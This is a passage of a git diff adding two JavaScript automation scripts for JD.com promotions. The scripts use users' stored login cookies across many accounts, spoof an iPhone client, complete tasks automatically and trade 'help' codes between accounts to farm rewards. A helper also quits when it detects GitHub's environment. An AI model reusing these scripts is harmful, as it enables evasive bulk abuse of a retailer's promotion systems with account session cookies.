Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/jd_xmf.js b/jd_xmf.js new file mode 100644 index 0000000..82d9ce1 --- /dev/null +++ b/jd_xmf.js @@ -0,0 +1,215 @@ +/* +京东小魔方 +Last Modified time: 2022-1-21 +BY:搞鸡玩家 +活动入口:京东 首页新品 魔方 +更新地址:jd_xmf.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东小魔方 +20 4,19 * * * jd_xmf.js, tag=京东小魔方, img-url=, enabled=true + +================Loon============== +[Script] +cron "20 4,19 * * *" script-path=jd_xmf.js, tag=京东小魔方 + +===============Surge================= +京东小魔方 = type=cron,cronexp="20 4,19 * * *",wake-system=1,timeout=3600,script-path=jd_xmf.js + +============小火箭========= +京东小魔方 = type=cron,script-path=jd_xmf.js, cronexpr="20 4,19 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东小魔方'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +var timestamp = Math.round(new Date().getTime()).toString(); +$.shareCodes = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + for (let i = 0; i < cookiesArr.length; i++) { + UA = `jdapp;iPhone;10.0.8;14.6;${UUID};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main() + } + } +})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) + +async function main() { + await getInteractionHomeInfo(); + await $.wait(500) + await queryInteractiveInfo($.projectId) + if ($.taskList) { + for (const vo of $.taskList) { + if (vo.ext.extraType !== 'brandMemberList' && vo.ext.extraType !== 'assistTaskDetail') { + if (vo.completionCnt < vo.assignmentTimesLimit) { + console.log(`任务:${vo.assignmentName},去完成`); + if (vo.ext) { + if (vo.ext.extraType === 'sign1') { + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vo.ext.sign1.itemId) + } + for (let vi of vo.ext.productsInfo || []) { + if (vi.status === 1) { + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.itemId) + } + } + for (let vi of vo.ext.shoppingActivity || []) { + if (vi.status === 1) { + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.advId, 1) + await $.wait(6000) + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.advId, 0) + } + } + for (let vi of vo.ext.browseShop || []) { + if (vi.status === 1) { + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.itemId, 1) + await $.wait(6000) + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.itemId, 0) + } + } + for (let vi of vo.ext.addCart || []) { + if (vi.status === 1) { + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.itemId, 1) + await $.wait(6000) + await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.itemId, 0) + } + } + } + } else { + console.log(`任务:${vo.assignmentName},已完成`); + } + } + } + } else { + $.log('没有获取到活动信息') + } +} +function doInteractiveAssignment(projectId, encryptAssignmentId, itemId, actionType) { + let body = { "encryptProjectId": projectId, "encryptAssignmentId": encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": itemId, "actionType": actionType, "completionFlag": "", "ext": {},"extParam":{"businessData":{"random":25500725},"signStr":timestamp+"~1hj9fq9","sceneid":"XMFhPageh5"} } + return new Promise(resolve => { + $.post(taskPostUrl("doInteractiveAssignment", body), async (err, resp, data) => { + //$.log(data) + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + console.log(data.msg); + } else { + console.log("没有返回数据") + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function queryInteractiveInfo(projectId) { + let body = { "encryptProjectId": projectId, "sourceCode": "acexinpin0823", "ext": {} } + return new Promise(resolve => { + $.post(taskPostUrl("queryInteractiveInfo", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + $.taskList = data.assignmentList + } else { + console.log("没有返回数据") + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getInteractionHomeInfo() { + let body = { "sign": "u6vtLQ7ztxgykLEr" } + return new Promise(resolve => { + $.get(taskPostUrl("getInteractionHomeInfo", body), (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + if (data) { + if (data.result.giftConfig) { + $.projectId = data.result.taskConfig.projectId + } else { + console.log("获取projectId失败"); + } + } else { + console.log(JSON.stringify(data)); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function taskPostUrl(function_id, body) { + return { + url: `https://api.m.jd.com/?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=content_ecology&client=wh5&clientVersion=1.0.0`, + headers: { + "Host": "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://h5.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "User-Agent": UA, + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2bf3XEEyWG11pQzPGkKpKX2GxJz2/index.html", + "Cookie": cookie, + } + } +} +function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { return x.replace(/[xy]/g, function (x) { var r = 16 * Math.random() | 0, n = "x" == x ? r : 3 & r | 8; return uuid = t ? n.toString(36).toUpperCase() : n.toString(36), uuid }) } +function TotalBean() { return new Promise(async e => { const n = { url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", headers: { Host: "wq.jd.com", Accept: "*/*", Connection: "keep-alive", Cookie: cookie, "User-Agent": UA, "Accept-Language": "zh-cn", Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", "Accept-Encoding": "gzip, deflate, br" } }; $.get(n, (n, o, a) => { try { if (n) $.logErr(n); else if (a) { if (1001 === (a = JSON.parse(a))["retcode"]) return void ($.isLogin = !1); 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) } else console.log("京东服务器返回空数据") } catch (e) { $.logErr(e) } finally { e() } }) }) } +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_xqscjd.js b/jd_xqscjd.js new file mode 100644 index 0000000..0ec587e --- /dev/null +++ b/jd_xqscjd.js @@ -0,0 +1,612 @@ +/* +写情书抽京豆 +更新时间:2021-12.12 +活动入口:写情书抽京豆 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#写情书抽京豆 +1 1,14 12-25 12 * https://raw.githubusercontent.com/KingRan/JDJB/main/jd_xqscjd.js, tag=写情书抽京豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true + +================Loon============== +[Script] +cron "1 1,14 12-25 12 *" script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_xqscjd.js,tag=写情书抽京豆 + +===============Surge================= +写情书抽京豆 = type=cron,cronexp="1 1,14 12-25 12 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_xqscjd.js + +============小火箭========= +写情书抽京豆 = type=cron,script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_xqscjd.js, cronexpr="1 1,14 12-25 12 *", timeout=3600, enable=true + +*/ +const $ = new Env('写情书抽京豆'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', secretp = '', joyToken = ""; +$.shareCoseList = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let receiveBean = 0 +const JD_API_HOST = `https://xinrui2-isv.isvjcloud.com`; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await getToken(); + cookiesArr = cookiesArr.map(ck => ck + `joyytoken=50084${joyToken};`) + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS + //做任务 + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.letterList = []; + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + continue + } + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + console.log(`\n入口:京东APP主页 ==> 京豆美妆 ==> 右边悬浮 => 写情书抽京豆\n`); + $.canDo = true + $.user_id = "" + $.letterList.length = 0 ; + receiveBean = 0; + await getMyToken(`user/token`,`&client=m&url=pengyougou.m.jd.com`); + $.token = $.tokenList.data + console.log(`Token:${$.token}\n`) + //做任务 + await main() + } + }; + //助力 +if (cookiesArr.length > 1 && $.shareCoseList.length > 0){ + let ran = Math.floor(0+Math.random()*(cookiesArr.length-0)); + let result =[]; + for (let m = result.length; m < cookiesArr.length; m++){ + if (result.indexOf(ran) === -1){ + result.push(ran) + }else{ + ran = Math.floor(0+Math.random()*(cookiesArr.length-0)); + m-- + } + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[result[i]]; + $.haveSeenId = $.UserName; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = result[i] + 1; + $.isLogin = true; + $.nickName = ''; + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + continue + } + console.log(`\n******开始内部互助【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await getMyToken(`user/token`,`&client=m&url=pengyougou.m.jd.com`); + $.token = $.tokenList.data + await logIn(`{"token": "${$.token}","source": "01"}`) + await $.wait(500) + //console.log(`Token:${$.token}\n`) + //助力 + for (let y = 0; y < $.shareCoseList.length; y++){ + var judge = ""; + if ($.shareCoseList[y].user === $.UserName || $.shareCoseList[y].seen === true || $.haveSeenId === $.shareCoseList[y].user){ + console.log(`${JSON.stringify($.shareCoseList[y])},${$.haveSeenId}`) + }else{ + console.log(`${$.UserName}去助力${$.shareCoseList[y].user},${$.shareCoseList[y].user_id},${$.shareCoseList[y].code_id}`) + await getHelp($.shareCoseList[y].user_id, $.shareCoseList[y].code_id, y) + /*if (judge === "已被看"){ + $.shareCoseList[y].seen = true + $.haveSeenId = $.shareCoseList[y].user + }else if (judge === "今天您已经看过TA的情书"){ + $.haveSeenId = $.shareCoseList[y].user + }*/ + await $.wait(1000) + } + //await $.wait(1000) + } + } + }; +} + if ($.message) await notify.sendNotify(`${$.name}`, `${message}\n`); +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function main() { + try{ + await logIn(`{"token": "${$.token}","source": "01"}`) + await $.wait(500) + await getHomePage() + await getUserInfo() + await $.wait(500) + await getTaskList(`task_state`) + await $.wait(500) + await getTaskList(`task_info`) + await $.wait(500) + if ($.friendNum < 5){ + let r = $.friendNum; + await getOldshareCose('send_letter_record?page=1&page_num=10') + for (let q = 1; q * 10 < $.letterNum; q++){ + await getOldshareCose(`send_letter_record?page=${q+1}&page_num=10`) + await $.wait(300) + }; + for (let w = 0; w < $.letterList.length; w++){ + for (let e = 0; e < $.letterList[w].length; e++){ + if($.letterList[w][e].receive_user_id === 0 && r < 5){ + r++ + console.log(`助力码:==> 用户ID:${$.user_id},助力码:${$.letterList[w][e].send_id}\n`) + $.shareCoseList.push( + { + "user": $.UserName, + "user_id": $.user_id, + "code_id": $.letterList[w][e].send_id, + "seen": false + } + ) + } + } + } + for (let y = r; y < 5; y++){ + await getshareCose('send_love_letter?title=&content=%E6%9D%A5%E5%B8%AE%E5%8A%A9%E6%88%91%E5%90%A7%EF%BC%81&footer=') + console.log(`助力码:==> 用户ID:${$.code_user},助力码:${$.code_id}\n`) + $.shareCoseList.push( + { + "user": $.UserName, + "user_id": $.user_id, + "code_id": $.code_id, + "seen": false + } + ) + } + //console.log(JSON.stringify($.shareCoseList)) + } + await $.wait(500) + for (let doit of $.channel){ + if ($.channelNum < $.channel.length && $.canDo === true){ + console.log(`去关注${doit.name}`) + await getRewardList(`fertilizer_chanel_view?channel_id=${doit.id}`) + await $.wait(500) + } + }; + $.canDo = true + for (let 